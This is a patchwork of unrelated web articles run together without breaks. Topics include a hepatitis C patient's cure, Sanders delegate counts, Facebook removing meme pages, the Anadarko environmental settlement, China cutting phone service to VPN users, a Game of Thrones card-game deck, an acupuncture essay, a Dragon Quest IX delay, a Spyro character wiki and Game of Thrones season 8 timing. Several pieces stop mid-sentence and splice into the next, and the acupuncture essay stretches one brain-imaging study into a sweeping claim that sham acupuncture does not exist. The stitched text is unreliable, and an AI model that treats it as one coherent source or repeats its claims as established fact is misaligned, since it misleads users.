StumbleUpon What are these? E-mail this to a friend Printable versionMarsha Lecour was just four years old when she contracted hepatitis C. She was born with a heart condition that required open heart surgery.
"During the surgery, a blood transfusion was administered. And the blood transfusion contained what they call 'tainted blood,'" said Lecour, now 65 and living in Toronto.
It wasn't until decades later, when she was in her 30s, that a blood test revealed she had a virus waging war on her liver.
"The doctor said that I would probably require a liver transplant," she said. "I'd never even heard of hepatitis, and never mind a liver transplant."
Hepatitis C is primarily spread through blood-to-blood contact, including unsafe drug injections, improperly sterilized piercing, tattoo or medical equipment, and in cases like Lecour's, contaminated blood. People infected with the virus often don't know they have it. Some don't find out until they're faced with advanced liver disease, including cirrhosis or liver cancer.
Lecour lived with the disease for more than 50 years, trying to minimize the damage to her liver through diet, not drinking alcohol and meditation. Finally, in 2012, her liver specialist at Toronto's University Health Network started her on a "gruelling" medication combination that would cure the disease.
"Some people say it's like chemo in some ways in terms of the side-effects," Lecour said. "I lost some of my hair, I lost weight, I was depressed.... I was really a basket case."
That approved treatment took almost a year, and with almost no energy, Lecour couldn't work at her job as high school teacher.
But in the end, Lecour was cured of hepatitis C and says her life is "great," |
Maryland.
Combined, New York, Pennsylvania, and Maryland put 531 delegates at stake. That's compared with the 265 delegates available in the all of the eight next contests that should be favorable to Sanders.
There's going to be some positive spin coming from Sanders's campaign if he wins a sweep over the next two to three weeks in the West and in Arizona. But all of that will be mostly noise unless he can do something to move ahead in other parts of the map.
"He would need to win some of these big states by big margins," Abramowitz said. "And I doubt he can do that."Facebook
And now, it appears as if the social network is cracking down on some of its most anarchic and interesting group. That standard error message above now recurs often across the internet because Facebook recently deleted a number of notable and popular meme pages maintained by its alternative communities, including “Cabbage Cat,” “Gangster Popeye,” and, for a time, “I play KORN to my DMT plants, smoke blunts all day & do sex stuff.”
Facebook
The Daily Dot reached out to Facebook for comment multiple times, but received no explanation for the deletions beyond what admins were able to tell us: These pages were deemed to have violated the network’s community standards.
“As if I'd really be trying to convince anybody that the President of the United States had taken over my meme page,” complained Gangster Popeye creator Rain Terranova.
These narratives, of a hostile force taking over, are fairly common on Facebook humor pages (e.g., "Auntie Kayla" on Baby's Names ). When Rain was asked if there was any chance that someone might interpret this as a good-faith effort to impersonate the sitting president of the United States, she responded, “the President is a bad man who hates memes; I will leave it at that. I'm not saying he is in cahoots with Zuckerberg to take down meme pages, but I'm not saying that's not the case either.”
Facebook
Cabbage Cat, on the other hand, is already on Instagram and Twitter, and John Trulli has recently made a Cabbage Cat 2 page on Facebook (though it currently has less than 2,000 “likes”). Trulli said that he is not interested in trying to focus his efforts on platforms with less erratic moderation regimes because “all social media is temporary.” In order to steer clear of content deletion, Trulli has considered cutting back on the white people jokes.
“In the future, as funny as some of them are, I think I'll stop poking fun at Caucasians like myself, because we are always so fragile,” he said.
John Trulli has begun to supplement his income with Cabbage Cat, though he has stated that after a year of work, Cabbage Cat has just begun to grow to a point where it can begin to be lucrative. Trulli asked, “Am I charging $200 to post on Instagram, or am I charging for the year of creative output and networking it took to get me in that position?”
Facebook’s arbitrary moderation policies, existing in tension with its own communities’ cultural relevance, show little regard for the value of its content creators’ and influencers’ work. “I put hours and hours of my life into that page,” said Rain Terranova, “and they took it from me without a warning.”
Trulli described a similar experience. “Honestly there were no warnings or emails,” he said. “I didn't notice [Cabbage Cat] was down until a fan notified me. I talk to tons of other page owners and they say you usually get warnings and strikes.”
Facebook
Ultimately, users, as a major source of a social network’s value, become frustrated over the lack of certainty as to whether or not the platforms they have built upon will continue to exist from one moment to the next. (Dennis Cooper, for one, is contemplating suing Google after it erased over a decade of his work from its Blogger platform). That users do not have sense of data and/or brand security on social media is, perhaps, a flaw of the contemporary internet which happens to be felt most acutely on Facebook, where moderation is especially unpredictable. Something the admin of Shit Memes told the Daily Dot in 2014 still rings true:
“Facebook is not the forum for this kind of shit at all.”
Additional reporting by Jay Hathaway.
A previous Daily Dot article noted that “Weird Facebook”—a loose knit network of content creators, artists, writers, social media influencers, and political progressives—“shouldn’t exist.” Facebook’s policies seem antithetical to the organic development of a far-flung, dynamic community of cultural creatives and online personalities. Users are discouraged from adding friends they do not have close offline connections to. Facebook creator Mark Zuckerberg ’s last name has even become a verb, “ zucked,” meaning: “to have one’s account suspended for, like many artists, publishing under a pseudonym.” That the platform has become culturally relevant again may be, in some way, despite its own best efforts.Cabbage Cat had about 75,000 followers on Facebook at the time of its disappearance (and has more on Instagram ). There have been 10 or so spin-offs of Cabbage Cat, mostly in the form of “vegetable animal” pages like Lettuce Dog. Cabbage Cat hosted the type of image macros popular on Instagram—images captioned with text above them in the style of a Twitter screenshot. Cabbage Cat creator John Trulli said that he started making these macros “to make fun of memes... [because] they were annoying”.Gangster Popeye had over 55,000 likes when it was unpublished, and a staggering 2.5 million weekly post reach. Its content was inspired by the “tough guy” memes from pages like KrazyTrain and Check Dis Shit Out —macros that feature text on themes such as being a badass and not taking shit from anyone, superimposed on pictures of skeletons (often holding weapons). Gangster Popeye, however, like Something Awful’s Big Dog T-shirt parodies, utilizes varying fonts and aesthetics in order to change the tone of the text within the image to an absurdist effect. Other humor pages like Da Share Z0ne, seem to have been modeled on the same concept.According to John Trulli, his meme page Cabbage Cat, along with Gangster Popeye and many others, spawned from the community of administrators contributing to “I play KORN...” Unlike other meme pages popular on Facebook at that time, “I play KORN...” had more of a progressive bent, avoiding the sort of satire that punches down: “On 99 percent of other pages they all repost things that are negative to minorities and women, and ours were supposed to be safe places for everyone,” said Trulli.Ultimately, the left-wing slant of these page may have caused them to run afoul of Facebook censors. Trulli speculated that jokes at the expense of his own racial demographic—white people—could have been what got Cabbage Cat taken down without warning. “The last few posts I had were... about avocados being too spicy for Caucasians,” Trulli said. “The giant accounts that make jokes about black kids not having dads and stuff all get huge and get verified, but if you say avocados are spicy or white people prefer missionary position, it will get taken down.”Gangster Popeye was also apparently removed for a political offense—impersonating President Barack Obama.Given the amount of time it took to create Gangster Popeye, Rain is overwhelmed by the prospect of attempting to either rebuild the page on Facebook or to migrate to another platform with more laissez-faire moderation policies, like Tumblr or Twitter.A social media account’s reach, of course, is not just a measure of the level of cultural influence it has online; it is also a material resource and has material costs, in terms of hours of raw labor. People, and corporations, put a great deal of time into creating and publishing content—and building an identity or “brand” on these platforms. And in many cases, businesses value so-called “social media influencers,” recognizing that their reach is an asset.When a social content publishing platform is provided to a user for free, it is funded by the value the user brings to the platform—as a viewer of advertisements, source of marketing data, or, in the case of influencers, creator of a specific audience. And content publishing continues to migrate more and more to social networks. Publications like The Awl and Pacific Standard, for example, have moved to MediumWASHINGTON, DC, January 23, 2015 (ENS) – Anadarko Petroleum Corp. today paid a record $5.15 billion settlement to the U.S. government and others – the largest environmental enforcement recovery payment ever obtained in a lawsuit by the Department of Justice.
As a result, more than $4.4 billion will be distributed to fund environmental cleanups and to settle environmental claims across the country
Last April, Anadarko Petroleum and subsidiaries it acquired when it bought Kerr-McGee Corp. in 2006 agreed to pay the $5.15 billion to settle fraudulent conveyance allegations brought by the U.S. government and co-plaintiff Anadarko Litigation Trust in the bankruptcy of Tronox Inc.
As explained by U.S. District Judge Katherine Forrest, who approved the settlement in November, this case arises from a “series of transactions by the Kerr-McGee Corp. that resulted in the spin-off of Tronox, which Kerr-McGee left saddled with the massive environmental and tort liabilities it had accumulated over the course of decades of operating in the chemical, mining, and oil and gas industries, but without sufficient assets with which to address these liabilities.”
A federal bankruptcy court found in December 2013 that Kerr-McGee conveyed its oil and gas assets to a new entity with the same name and renamed the remaining holdings Tronox in an attempt to evade debts, including its environmental liabilities.
“This recovery will lead to cleanups across the country that will undo lasting damage to the environment, including contamination of tribal lands, by Kerr-McGee’s businesses,” said Assistant Attorney General John Cruden for the Department of Justice’s Environment and Natural Resources Division.
“This result emphatically demonstrates the Justice Department’s commitment to environmental justice for all Americans,” said Cruden, “and it fulfills the department’s promise to hold accountable those who pollute and those who try to foist their responsibility for cleanup on the American taxpayer.”
“The Kerr-McGee Corporation spent decades despoiling our nation’s natural resources, leaving a toxic legacy for communities across the nation, from Sidney, New York, to the Navajo nation,” said U.S. Attorney Preet Bharara of the Southern District of New York.
“Then, Kerr-McGee tried to escape the consequences of its misdeeds by transferring its most valuable assets to affiliates, leaving an insolvent shell behind, unable to pay its environmental liabilities,” said Bharara.
“As today’s historic payment shows, the government will not allow polluters to escape paying for the damage they inflict on our land, water and people, and we will hold accountable those who attempt to shield themselves from responsibility behind improper corporate transactions,” said Bharara.
With more than 2,700 sites in 47 states at issue in the case, the settlement addresses Kerr-McGee’s enormous legacy environmental and tort liabilities, including its liability at federal Superfund sites in Manville, New Jersey, Jacksonville, Florida, Columbus, Mississippi, Navassa, North Carolina, West Chicago, Illinois, Milwaukee, Wisconsin, and Soda Springs, Idaho.
The settlement also covers 50 former uranium mines in and near the Navajo Nation territory in the southwestern United States.
On April 3, 2014, the United States announced the settlement, subject to a period of public comment and judicial approval. On November 10, 2014, the U.S. District Court for the Southern District of New York approved the settlement as “fair and reasonable.”
The deadline for any appeals from the district court’s decision passed on January 20, 2015, without any appeals having been taken and therefore the settlement agreement went into effect on January 21.
“If you pollute the environment, you should be responsible for cleaning it up,” said EPA Assistant Administrator Cynthia Giles. “From the Navajo Nation to low-income neighborhoods across America, more than $4.4 billion will be put to work cleaning up toxic pollution. This historical environmental cleanup will have a lasting impact on American communities.”
Since its founding in 1929, Kerr-McGee operated wood-treating, uranium mining and processing, thorium processing, and ammonium perchlorate manufacturing operations in addition to its oil and gas exploration and production business. By the early 2000s, Kerr-McGee had discontinued all but two core businesses: oil and gas exploration and production, and chemical production.
Between 2002 and 2005, Kerr-McGee transferred these oil and gas assets to a “new” Kerr-McGee, one of the defendants in this case, and in 2006 spun off the carcass, a small, cyclical chemical business with 85 years of legacy liabilities, re-named Tronox.
A few months later, Anadarko acquired Kerr-McGee and the oil and gas business for $18 billion. Tronox was rendered insolvent and, unable to pay for its legacy liabilities, filed for bankruptcy in 2009.
Copyright Environment News Service (ENS) 2015. All rights reserved.China has begun cracking down on citizens in the mainland who access online content created beyond its borders. The New York Times reports that several residents in Xinjiang who use virtual private network (VPN) software have had their mobile services turned off.
Local police began cutting off cellular connectivity last week for people found using foreign messaging apps and software to evade Chinese internet filters to gain access to international content and services.
An affected citizen from the regional capital of Urumqi, who wished to remain anonymous for fear of further persecution, shared a text message they received from their mobile carrier:
Due to police notice, we will shut down your cellphone number within the next two hours in accordance with the law. If you have any questions, please consult the cyberpolice affiliated with the police station in your vicinity as soon as possible.
It’s unclear as to how many people in Xinjiang have been affected and when they will have their numbers restored. Local mobile carriers have declined to comment or have referred questions to the police.
The Chinese government has spent plenty of time and money to prevent the distribution of information considered “harmful to national security,” beginning its efforts in 1993 with The Golden Shield Project. It’s since spent billions to censor public opinion and to prevent citizens from freely accessing sites that operate outside the country, but people have found tools to get around its system of filters, known as the Great Firewall.
The move to block mobile connectivity signals a sense of urgency in the government’s efforts to more tightly control communication over the internet, in the wake of the recent terrorist attacks in Paris.
Nicholas Bequelin, the East Asia director for Amnesty International in Hong Kong noted, “With the West generally going backward in terms of protecting privacy and freedom of expression, China is comforted in its longstanding position that it is the arbiter of what can be said or not.”
➤ China Cuts Mobile Service of Xinjiang Residents Evading Internet Filters [The New York Times]
Read next: Xiaomi's first all-metal Redmi Note 3 phone and Mi Pad 2 start at just $140“We are ironborn. We’re not subjects, We’re not slaves. We do not plow the field or toil in the mine. We take what is ours.” -Balon Greyjoy
There is a certain purity going into a new card game blind, especially after playing games like Magic: The Gathering for years. Not knowing all the nuances, meta calls and archetypes free you to make your own decisions without a nagging voice in your head saying “No, this is wrong!”. So when I was shown the second edition of the Fantasy Flight Games Game of Thrones LCG my mind raced as to what decks I could craft in these uncharted waters.
So how does one design a deck for a game with no established archetypes, tournaments, decks and isn’t even released yet? Easy, just pick your favorite card and go from there. What could be more fun than that? So I present to you my man Euron “Crow’s Eye” Greyjoy the Third of His Name since the Grey King.
Look at him! He’s huge and he has three icons and a whole lot of text, surely he has to be spectacular right? He discards cards off the top of your opponent’s deck, gains power and steals locations from their discard pile; Now that is something I can work with. First, Euron Crow’s Eye is loyal to Greyjoy which means I’m committed to that faction so let’s take a look at some of the cards I have access too.
It looks like a lot of Greyjoy cards really get benefits from being unopposed so we should play cards that help them achieve that strategy. Luckily, they seem to give us a lot of options to accomplish this like Asha Greyjoy with her stealth, Balon Greyjoy with his ability and the event card The Kraken’s grasp.
However, The Kraken’s grasp seemed a little weak to me so I decided to make Baratheon the house I bannered to. I chose Baratheon due to a wealth of cards that kneel your opponent’s defenders making your stealth cards even more powerful and helping you win unopposed. Let’s take a look at some of the All-Stars from House Baratheon.
Praise R’hllor!
Melisandre is perfect for a deck wanting to go unopposed as much as possible so she is an obvious include along with her Fiery Followers for maximum triggers. Having Baratheon as your banner also gives you some other goodies like Maester Cressen who is instrumental in removing that pesky Milk of the Poppy that might find themselves on your Euron or Balon.
Greyjoy has a lore appropriate theme of location removal/control, fitting with pillaging Vikings like Euron and Balon, so let’s use that as a focus of our deck. The more times we can remove and steal our opponent’s locations the harder it will be for them to stage a comeback. Let’s take a look at some of the ways we can get our opponent’s locations into their discard pile in our Greyjoy/Baratheon deck.
We already saw “We do not Sow” but we will need a little more disruption to keep the pillaging going.
First up we have Seen in Flames. In every card game I’ve ever played targeted discard has always been a very strong effect and I assume it will be here as well. The downside of having a R’hllor character in play is minimal since we will be playing enough copies and the effect is very important in disrupting your opponents curve, tricks and economy. Snagging a Kingsroad from their hand then stealing it with Euron to boost your economy next turn while limiting theirs is a pretty big swing.
The second card is actually a plot but it’s effect is so powerful in combination with other discard that I’m going to include them as part of the decks overall strategy. Heads on Spikes is a win/win cards in this deck because if they discard a character you gain two power and possibly prevent them from playing a unique character later on in the game, if they discard a location you can steal it with Euron and if they discard an event then you can get unopposed attacks easier knowing they are less likely to have combat tricks. With this in mind Heads on Spikes will be my duplicate plot card.
Now that I know what I want the deck to do and the cards I want to do it with this is my current list. I went with around thirty characters since I will most likely be the aggressor in most challenges and I want to always be able to dominate the field.
So there you have it, a solid curve along with a good economy. Dragonstone Faithful and Fishmongers allow you to accelerate out larger threats like Euron and Balon and also soak up military claims saving your other characters. I included a lot of one copy uniques because they can serve a purpose but I didn’t want to have cards clogging my hand if they somehow were sent to the dead pile. I play six Rh’llor cards giving me ample chances to kneel characters and have the ability to play the event Seen in Flames. From the Neutral category I obviously chose Littlefinger for his draw and economy and Put to the Torch to facilitate Eurons ability.
The plot deck is self explanatory. You will want to setup A Noble Cause to power out a large threat like Euron. Heads on Spikes will be your go to midgame plot to disrupt your opponent’s hand and cards like Filthy Accusations and Confiscation allow you to gain board presence and unopposed attacks. Wildfire Assault can be a game winner due to your stealth characters. If you play it then attack with a stealth Balon preventing their largest guy from defending you are surely going to kill off a valuable character.
The basic strategy of this deck is to setup one or more unopposed attacks early using stealth and kneeling effects then use that opportunity to wreak havoc on your opponents locations using events like We Do Not Sow and Put to the Torch. Once you get Euron up and running each successful challenge should further your economy by bringing back your opponents locations. Cards like Risen from the Sea help protect your main characters from harm and Aeron Damphair can recur even unique characters from the dead pile if you win dominance.
Cards like Great Kraken combined with Balon can win games outright if they cannot put up a defence against your unopposed attacks and even low drops like Lordsport Shipwright can prevent your opponent from gaining too much of an advantage with their locations.
A good overall mix of icons allows you to defend and attack in many different challenges and a superb suite of disruption can throw even the most careful control deck off its game. Little Bird is included to protect Balon from Tears of Lys and The Hand’s Judgement is a late game catch all to stop a devastating event from resolving. Milk of the Poppy and Throwing Axe are included to neuter your opponent’s large threats and to deter defence from axe wielding ironborn.
Overall, I think this deck is powerful and sure is fun to play considering Greyjoy lore. Who knows what’s in store for us later this month when Game of Thrones LCG second edition launches. I’m sure veterans from the original game will have a leg up in the beginning months but as the game grows and changes even new players like myself will have a better understanding of the game and its many nuances. Trial and error is the cornerstone of deckbuilding in any game but the more you fail the more you learn so don’t be afraid to try new things because you never know when you may develop a new strategy. And of course I welcome any and all input, maybe you saw something I didn’t? Let me know in the comments below.
Until next time and remember; “We do not Sow”.
AdvertisementsThe randomized controlled trial (RCT) is the gold standard for evaluating whether or not a therapeutic modality works. In RCTs testing the effect of acupuncture to improve symptoms, researchers often use “sham acupuncture” as a control procedure, on the theory that sticking needles into points that are not on acupuncture meridians should have no effect.
The problem with this approach is that there is really no such thing as sham acupuncture.
In the mechanistic, Western view of the body and medicine, acupuncture is the sum of the parts, so it works like this:
problem + needle + point on meridian = problem gets better
You can insert other things in place of “needle + point on meridian” and you’ll still have an accurate model for Western medicine.
problem + medication = problem gets better
problem + surgery = problem gets better
Each of these focuses on a specific functional or anatomic mechanism for ill health. High blood pressure? Take a beta blocker. Blocked coronary arteries? Replace them with femoral veins (better yet, internal mammary arteries).
In this view, placebos make perfect sense as a way of proving that interventions work:
problem + thing that looks like medication but isn’t = problem doesn’t get better
Here’s where the mechanistic view of the body and how medicine works fails to meet the holistic view. Acupuncture can’t be shoved into the mechanistic “if A, then B” box of randomized, controlled trials.
Solid evidence is emerging that the effects of acupuncture are mediated through the limbic-paralimbic-neocortical network. It plays a central role in the affective and cognitive dimensions of pain–and in regulating and integrating emotion, memory processing, autonomic, endocrine, immunological, and sensorimotor functions.
For instance, a recent study using functional MRI of the brain to trace the effects of acupuncture in the brain stimulated four points: Taichong (LV3), Xingjian (LV2), Neiting (ST44), and a sham point on the top of the left foot. The hemodynamic response was similar for all four points, as was the sensory experience as reported by the study subjects. Regardless of the point being needled, acupuncture produced extensive deactivation of the limbic-paralimbic-neocortical system.
In short, there is no such thing as sham acupuncture. Because the cognitive, affective, and physical intertwine in the limbic-paralimbic-neocortical network, there’s no way to have a needle stuck into you without experiencing at least some of the effects of acupuncture.
You might think that this would be good news for proponents of acupuncture. One way to interpret this information is that acupuncture is such a robust modality, it’s effective even when used outside traditional guidelines.
However this probably won’t come as a great surprise–from the Western perspective, interventions remain suspect if they can’t be isolated and controlled for. Even as acupuncture gains a toehold in Western medicine, it’s unlikely to ever be fully accepted as a treatment modality.
Reference
Fang, J., Jin, Z., Wang, Y., Li, K., Kong, J., Nixon, E.E., Zeng, Y., Ren, Y., Tong, H., Wang, Y., Wang, P., Hui, K.K. (2008). The salient characteristics of the central effects of acupuncture needling: Limbic-paralimbic-neocortical network modulation. Human Brain Mapping DOI: 10.1002/hbm.20583Share. Square Enix pushes major release back and slashes earnings estimates in the process. Square Enix pushes major release back and slashes earnings estimates in the process.
Square Enix sent shockwaves through the Japanese games market today with the surprise announcement that Dragon Quest IX will not make its original March 28 release date. Instead, players will have to wait until July 11.
As reason for the delay, the company cited the discovery of major bugs in the game. It attempted to make the requisite fixes without changing the date, but determined that more time was necessary.
This delay has to come as a blow to all involved parties. For fans, Dragon Quest is one of Japan's biggest games, with some expecting part IX to sell five million units domestically. For retailers, main Dragon Quest games tend to sell upwards of two million units in the first two days of sales. Most major retailers had already opened up pre-orders for DQIX, with some even promoting special 7:00AM opening times.
For Square Enix, the damage is a bit more measurable. The company's Square Enix Holdings parent issued revised earnings forecasts for the year 2008 today. Citing a delay in the release of a major March game, the company lowered sales forecasts from 160 billion yen to 133 billion and operating profit forecasts from 21 billion to 12 billion yen.
Square Enix will detail its full earnings report for the first three quarters later today, and will also likely share further comment about the DQIX delay.This article is about the character from The Legend of Spyro series. You may be looking for the Skylander from the Skylanders series.
“May the Ancestors look after you. May they look after us all.” —Ignitus
Ignitus is a Fire Guardian dragon who appears in The Legend of Spyro series. He is the leader of the remaining Dragon Guardians and serves as the father-figure to Spyro, providing him with words of wisdom and leads him onto the right path, as well as teaching him about the element of fire.
Contents show]
Personality
As the leader of the last remaining Guardians, Ignitus has unquestionable ability within range of attack power, second only to Terrador in military strategy. He is often calm and collected but has been known to break out into fits of fury, using his fire ability to great effect. He blames himself for everything that has happened to Spyro, Cynder, and the Dragon race and carries on that guilt throughout the series. His faith in Spyro is utterly unwavering and he is a devout believer in the Ancestors, truly believing that Spyro is nature's way of balancing itself against evil.
Ignitus is the most dedicated of the Dragon Guardians; he is still haunted by failures of his past and seeks to redeem himself. Equally capable of warmth, rage, and long smoldering bouts of shame, resentment, and regret, he keeps his distance from the other three Guardians, Volteer, Cyril, and Terrador. However, when the time comes, Ignitus is only too glad to enlighten others and stoke the embers of hope and stand in the face of fire that others might burn even brighter.
Abilities
As a master of fire, Ignitus is competent in all fire techniques and can quickly dispatch his enemies with little effort. His ability to explode in rage makes him a perfect berserker for the blazing heat of burning battles. He is known to be one of the few Dragons who can see premonitions in the Pool of Visions and can also provide protection from fire and other sources of heat by generating a blue barrier around himself and any others that are close to him.
Story
History
During the war against the Dark Master's army, Ignitus was a general who led a company of war Dragons into battle against the Apes. After a fierce struggle in which many Guardians were lost, Ignitus's forces were driven back until only four Guardians remained.[1]
The Legend of Spyro: A New Beginning
Ignitus was one of the Guardians in charge of protecting the eggs in the Dragon Temple when the Dark Armies attacked. Fearing for the purple dragon's safety and the ancient prophecy that foretold the coming of a new age, he rescued the purple dragon's egg and sent it down a stream, hoping for the best. When Ignitus returned to the temple, he found that the other Guardians had been overwhelmed and all the other eggs had been smashed.
Years later, Ignitus lead the remaining war Dragons against the Dark Armies for the islands, but were overpowered when Cynder appeared and captured the other remaining Guardians. Ignitus managed to escape from Cynder and exiled himself to the Swamp, casting off his battle armour in despair and becoming the crestfallen figure that Spyro would soon meet. The Fire Guardian was amazed to see the young dragon alive and well, but it took the persistent questions from Spyro to lift Ignitus out of his despair. He informed Spyro of what had happened to their race and about the evil dragon, Cynder. When he told Spyro about their home, Spyro expressed an interest to see it which Ignitus at first refused. But Spyro would not take no for an answer and together they reclaimed the Temple.
Once there, Ignitus showed Spyro what Cynder had done to the nearby islands, and after teaching him how to fly and use his fire abilities more effectively, he sent Spyro to rescue the other Guardians that were being kept on the other islands in the clutches of Cynder's forces. When Spyro rescued the last guardian, Terrador, in Munitions Forge, Cynder attacked Spyro and it was only by Ignitus's intervention did Spyro escape. However, Cynder overcame Ignitus and took the last Guardian to her fortress in Concurrent Skies to drain his element into the last crystal needed to free her master, the Dark Master.
The Legend of Spyro: The Eternal Night
As Spyro arrived to rescue him, Cynder fought the purple dragon to give time for the crystal to absorb Ignitus's elemental energy. When it was finally infused with Ignitus's power, Cynder took the crystal and fled to Convexity to carry out her plan. A weakened Ignitus explained to Spyro that Cynder was stolen from the Temple on the night of the raid and she was just like Spyro, but was twisted by the Dark Master's influence. It was these words that led to Spyro rescuing Cynder after her transformation back to her true self upon her defeat and he brought her to the Temple with him. At the Dragon Temple, Ignitus was overjoyed at the outcome and expressed a sincere apology to Cynder, blaming himself for everything that happened on the night of the raid, but was reassured by the other Guardians.
Ignitus and the other Guardians were asleep when Cynder left the temple out of guilt. As such, they were all present when the Apes attacked the temple again and were able to repel the attack. Spyro, who had left the temple momentarily to stop Cynder from leaving, made his way back to the main body of the temple and witnessed Ignitus battling Apes alone. The Fire Guardian asked for Spyro's help, and when the Apes began to focus their attention on Spyro, Ignitus used his fire fury to destroy most of the Apes before entering the temple. When Spyro defeated the last of them on the balcony (including the Assassin, who led the attack on the Temple), Ignitus returned and asked where Cynder was.
When Spyro told him Cynder had left, Ignitus gathered everyone around the Pool of Visions to search for her but to no avail. Ignitus then foresaw a vision of Spyro standing before a great tree, and Spyro told the Fire Guardian about his dreams and the Chronicler. Ignitus feared that the Dark Master may return and sent Spyro on his journey to the Chronicler whilst he stayed behind to search for Cynder.
The Legend of Spyro: Dawn of the Dragon
When Spyro and Cynder didn't return to the Temple after the Night of Eternal Darkness, Ignitus sent Hunter of Avalar to find them. During the three years that Spyro and Cynder went missing, Ignitus led the Guardians and the other dragons in the war against the Dark Master, Malefor, who had been resurrected when the Night of Eternal Darkness passed. Despite Ignitus's best efforts, he could not hold the Dragon Temple and it fell into the control of Malefor, who tore it from the ground and raised the temple above the volcano that formed as a symbol of his power. Ignitus moved to the dragon city of Warfang and waited for Hunter's report on the whereabouts of Spyro and Cynder, all the while making sure that his fellow Guardians never lost hope in their return.
Three years later, Ignitus defended the city when it was sieged by Malefor's army and led the attack on the Golem when it appeared. However, he was knocked out of the sky by the Golem and collided with a building, rendering him unconscious until after the battle. Ignitus was relieved to see Spyro when he finally had the chance to talk to him, and was more pleased that the young dragon had returned with his companions, Cynder and Sparx. Cynder then revealed to Ignitus the snake chains that binded her and Spyro together, and the Fire Guardian replied that it was irremovable. As Spyro and Cynder wondered on how they'll fight back if they're forced to fight tethered together, Ignitus stated that the chain was more than a hindrance, but a reminder of the bond Spyro and Cynder shared, and that their destinies were intertwined.
Ignitus was later present when Malefor declared his plan to destroy the world. He ordered everyone to venture underneath Warfang to reach the Destroyer before it would complete its circle around the globe and then comforted Spyro when the young dragon worried about what was going to happen. When Cynder thought of a plan to stop the Destroyer's progress, Ignitus ordered everyone else to buy her and Spyro some time by any means necessary.
When the plan failed, Ignitus took Spyro and Cynder to the Belt of Fire to confront Malefor. Upon arriving, he generated a barrier around them to protect him, Spyro, and Cynder from the heat generated from the wall of fire as they began to cross through it. However, the dark power of the Belt of Fire was beginning to overpower Ignitus. As he struggled to keep his barrier around them up, the Fire Guardian apologized to both Spyro and Cynder for everything that had happened to them by his failures. Ignitus, with the last ounce of his strength, threw Spyro and Cynder through the Belt of Fire safely to the other side, sacrificing himself; his death having a deep and almost devastating impact on Spyro.
When Spyro and Cynder's battle with Malefor led them into the heart of the world, dragon spirits resembling Ignitus surround Malefor before dragging him into the world's crystal core, imprisoning the evil dragon forever. Ignitus's spirit appeared briefly afterwards, lending Spyro his final words of wisdom and giving the young dragon the realization of his true destiny as the Purple Dragon.
After the world was restored by Spyro's power, Ignitus's spirit was chosen by the Chronicler to become the next Chronicler of the new age. He then asked the Chronicler what became of Spyro. The old dragon explained to Ignitus that each time a dragon dies, a new page would be written in the book that he held, but he couldn't seem to find any trace of Spyro among the pages. The Chronicler then disappeared, with Ignitus donning the Chronicler's appearance, his scales turning a shade of blue and wielding the Chronicler's various objects. With his newly acquired power, Ignitus looked into the book, wondering where Spyro and Cynder might be, keeping his eye on their futures.
According to the plot sypnosis of the cancelled movie, Ignitus guarded the egg that contained the special purple dragon, Spyro. However, it was being hunted, and knowing that the egg was no longer safe, the Fire Guardian sends it downriver hoping for the best. Igntius will later help Spyro in his journey to save the land and defeat the Dark Master's pawn, Cynder.
Relationships
Spyro
Ignitus acts as a father figure for Spyro and sees him as his only form of redemption for all the failures in his life. When Ignitus first met Spyro he had already given up and called his fight a lost cause, but after watching the young dragon's courage and willingness to at least give it a try he was filled with hope and eagerly trained him to become stronger |
.noaa.gov/info/japanfaqs.html and http://marinedebris.noaa.gov/welcome.html
For the U.S. DOT's Advisory visit: http://www.marad.dot.gov/news_room_landing_page/maritime_advisories/advisory/advisory2011-06.htmDaenerys Targaryen (Emilia Clarke) on "Game of Thrones." HBO
As the penultimate season of "Game of Thrones" came to a close in 2017, fans were already looking ahead at the epic series' true conclusion. After several months of guesswork from fans and cryptic teases from actors and executives, HBO finally confirmed "Game of Thrones" won't be returning to TV this year. Instead it's airing sometime in 2019.
You might be wondering why the wait is so much longer this time around. Thankfully, there are several epic reasons for the extended production time.
Kit Harington as Jon Snow on "Game of Thrones" season seven. HBO
Winter arriving in Westeros means extended filming time
For its first six seasons, "Game of Thrones" consistently aired in the spring of each year. 2017 was the first year the show returned during the summer instead, with the seventh season premiering on July 16. This was mainly due to production being pushed back in order to accommodate the "winter" needs for outdoor filming.
Season eight is sure to feature a large number of chilly outdoor scenes, which means filming will once again be timed with the winter months. Filming for the new season started even later than usual, in October 2017.
Plus the total time spent filming is going to be longer (even though there are fewer episodes). Reports show that "Game of Thrones" will shoot season eight from October 2017 until around June 2018 — about nine months instead of the typical six.
Macall B. Polay/HBO
Liam Cunningham, who plays Ser Davos Seaworth, spoke with TV Guide about what this means.
"We're filming right up until the summer," Cunningham said. "When you think about it, up until last season we'd have six months to do 10 episodes, so we're [doing] way more than that for six episodes. So that obviously will translate into longer episodes."
The added length to season eight's episodes
As Cunningham explained, the extended filming will likely contribute to longer total episodes. While the average "Game of Thrones" episode is just under one hour, it's possible several of the season eight installments will go well over that length.
"Game of Thrones" sound designer Paula Fairfield broke this news at the first annual Con of Thrones last summer. According to Fairfield, the final season might consist of six movie-length episodes.
The season seven finale, "The Dragon and the Wolf," was 79 minutes and 43 seconds (HBO specified the exact length in a press release). The idea of having six finale-worthy episodes is exciting, but there's no confirmation of this yet.
Entertainment Weekly's James Hibberd put a damper on the idea of all six episodes being more than an hour long, though.
"While some episodes may be longer than usual, once again we're hearing not to expect feature-length episodes throughout the season," Hibberd reported in January 2018.
The added need for visual effects and post-production
From here it's all guesswork, but we're betting "Game of Thrones" season eight will have more visual effects than any previous season of the show. With the Night King and his army of undead wights marching into Westeros, it only makes sense that the "Game of Thrones" team would need more time in post-production than usual.
And even though one of Daenerys' dragons was mercilessly killed off last season, there are still two giant beasts the VFX team needs to render. Given that the remaining dragons are heading to war, there's no skirting around the need for more digital effects.
HBO
Plus "Game of Thrones" fans will likely riot if Jon Snow's direwolf, Ghost, doesn't appear in at least one epic season eight scene. The wolf was offscreen for all of season seven, though we did get a glimpse of Arya's direwolf Nymeria.
According to reports from season seven, the reason for the lack of Ghost was partially due to the CGI costs associated with bringing him to life. But HBO surely can't avoid ponying up for at least one Ghost scene in the final season — right? Again, this means more time and effort from the post-production team.
Last but not least, there's small poetic reason why a spring 2019 air date would be ideal for final "Game of Thrones" season. The "A Song of Ice and Fire" novels upon which "Game of Thrones" was based is currently planned as a seven book series. Author George R.R. Martin titled the final book "A Dream of Spring," indicating the end (or at least dreamed end) of the coming winter.
HBO
If HBO times the conclusion of "Game of Thrones" in the spring season (which was always the traditional air date anyways), it would be a nice nod to fans of the original book series.
